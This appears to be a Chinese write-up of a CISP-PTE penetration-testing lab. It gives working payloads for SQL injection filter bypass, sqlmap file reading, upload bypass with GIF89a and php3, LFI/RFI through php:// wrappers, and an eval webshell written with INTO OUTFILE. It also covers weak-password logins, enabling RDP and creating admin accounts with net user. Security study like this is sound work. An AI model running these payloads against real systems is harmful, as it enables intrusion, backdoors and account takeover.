Cisp-pte靶场练习
SQL注入

首先我们先对查询字段数进行判断,使用order by进行查看,可发现将空格和#字符进行了过滤。

将空格和#使用其他进行代替尝试绕过。使用 /**/ 或者 /*!*/代替空格,%23代替#号.当字段大于4时查询失败,判读查询字段为4

这里也过滤了union,使用双写大小写来绕过。接着判断回显字段、
1 | ')/*!*/uniunionon/*!*/select/*!*/1,2,3,4%23 |
回显字段为2.3.4,所以对这三个字段输入查询语句

这里可以通过几种方法获取key值,使用load_file()函数读取文件,写一句话木马到Web路径下,获取数据库账号密码信息等
首先我们使用load_file()函数来读取文件,前提是该数据库设置属性允许读写文件,获取key值为key{8b3h4a7v }。
1 | ')/*!*/uniunionon/*!*/select/*!*/1,database(),version(),load_file('/tmp/360/key')# |

接下来我们在写一句话木马,可发现语句被过滤啦

最后我们可通过information_schema数据表中tables、columns表来逐个获取账号密码信息,通过登录mysql数据库写入一句话木马
1 | ')/*!*/uniunionon/*!*/select/*!*/1,(select/*!*/group_concat(table_name)/*!*/from/**/information_schema.tables/**/where/**/table_schema='2web'),database(),(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='article')%23 |

可发现数据库并无账号密码信息
SQLMAP工具使用
判断注入点为id并且数据库为Mysql
1 | sqlmap.py -u "http://192.168.58.128:81/vulnerabilities/fu1.php?id=1" |

1 | sqlmap.py -u "http://192.168.58.128:81/vulnerabilities/fu1.php?id=1" --file-read=/tmp/360/key --tamper "space2hash.py" |

访问指定文件获取key值

命令执行
日志分析+暴力破解
文件上传

首先将一句话上传后文件不存在,将函数修改为asset等函数和修改后缀拓展名为php3、php5等不常用后缀都未上传成功,判断服务器对上传文件进行了头部检测和常用危险函数(eval、asset)过滤。
尝试上传图片文件,显示上传文件有效并且返回上传图片路径


所以我们可以上传图片马和添加图片头文件GIF89a来绕过。
1 | GIF89a |
通过burp拦截请求包并修改mime类型为image/jpg,这里还需对上传文件后缀名称修改为php3或php5等非php后缀才可上传成功。

在浏览器中访问上传文件test.php3

查看页面源代码得到key值,为key{8t5s0x5t}

文件包含

可以看到URL地址中参数file为view.html,尝试修改参数为系统文件/etc/passwd文件,读取成功,存在本地文件读取。

尝试读取key.php文件,失败

尝试远程文件包含,将file参数修改为远程服务器上文件,如文件上传中的test.php3文件,读取成功但未显示key值

尝试php伪协议读取文件
1 | hackbar:file=php://input |
如下读取成功,key值为key{6u3x9t2p}


尝试base64编码读取
1 | file=php://filter/convert.base64-encode/resource=../key.php |
读取成功,key值key{R2V0IGl0IQ0KPD9waHANCg0KLy9rZXk6NnUzeDl0MnANCj8+ }

文件包含+

这道题和前面的文件包含不一样,没有参数传递,我们查看页面源代码,对POST请求中参数进行正则匹配代替为如下:
1 | <?php |

其中Base64编码解码为
1 | [@eval(base64_decode($_POST[z0]));] |
所以需要将a进行赋值和对z0进行Base64编码后进行传参
1 | Hello=aaa&z0=c3lzdGVtKCdjYXQgLi4va2V5LnBocCcpOw== |

查看源代码获取key值,key{6u3x9t2p}

文件包含++

查看其源代码。可发现一段PHP代码,这段代码的意思是对请求参数cmd进行判断存在并且计算其长度,满足后方可执行exec函数执行命令,如下:
1 | <?php |

构造payload来寻找key.php文件位置在上一级目录下
1 | $cmd=ls ../>b.txt |

构造payload来读取key.php文件获取key值,key{6u3x9t2p}
1 | $cmd=cat ../key.php>a.txt |

综合环境
访问靶场Web环境,首先弹出个认证弹窗,可拦截登录请求对认证字段进行爆破

使用burp拦截选取Authorization字段使用intruder中迭代器选取字典,并对其进行Base64加密爆破,如下

Base64解码后得admin:123456

登陆成功,为一个DedeCms网站,由于网站页面设置了验证码不可长时间爆破,所以对其进行Web扫描。

发现两个重定向目录,/dede/和/phpmyadmin/

访问/dede/后台,尝试弱口令或者爆破账号密码

使用弱口令admin/888888登录成功,可通过多种方法对织梦管理系统写马获取权限

下面访问phpadmin数据库管理后台,使用弱口令root/root登录

前面我们通过弱口令进入了织梦后台管理系统,若管理员设置了强密码我们需从其他地方获取或者修改账号密码进行后台登陆。此时我们进入Phpmyadmin后,寻找存储Dedecms管理员账号密码的数据表信息。
查询到Dedecms的管理员账号以及密码MD5值

对密码MD5爆破解密为888888

由于该密码过于简单,若管理员设置了强密码,短时间内可能爆破不出来密码,只可自己生成密码MD5值对其进行修改。

修改成功,后台账号密码为admin/123456

接下来我们就利用SQL语句来写木马文件
1 | select "<?php @eval($_GET['cmd']);?>" into outfile 'c:/phpstudy/www/shell.php'; |
文件写入成功

我们在浏览器中测试一下,命令执行成功

我们利用菜刀或者蚁剑来访问该文件获取服务器权限
1 | http://admin:123456@192.168.58.129/hyq.php |

获取根目录下key文件,key2值为key{u8i9o0p6}

接下来我们需要连接远程桌面获取回收站中的key值
首先判断目标主机是否开放3389端口,只开放80端口

所以我们需要手工开启目标主机3389端口,在这之前需要关闭防火墙
1 | win2003: |

随后将3389.bat上传至目标主机上

在虚拟终端中执行3389.bat文件开启3389端口服务
1 | 3389.bat |
目标主机3389端口开启

使用远程桌面需要输入管理员账号密码,所以尝试创建新用户root加入管理员组
1 | net user root toor12345 /add |

在命令提示符中输入mstsc打开远程连接工具,输入目标主机ip地址和上面新建的用户账号密码,登录成功

可以看到登录了用户root的远程左面,并无任何应用以及文件,无法获取到key值

由于key值文件在管理员administrator用户的桌面上,所以需要获取或者修改该用户的密码,这里采用在命令行中直接修改用户administrator的密码
1 | net user administrator admin12345 |

然后用administrator用户进行登录远程桌面,从回收站中恢复文件读取key值,key{a2d3f4g5}
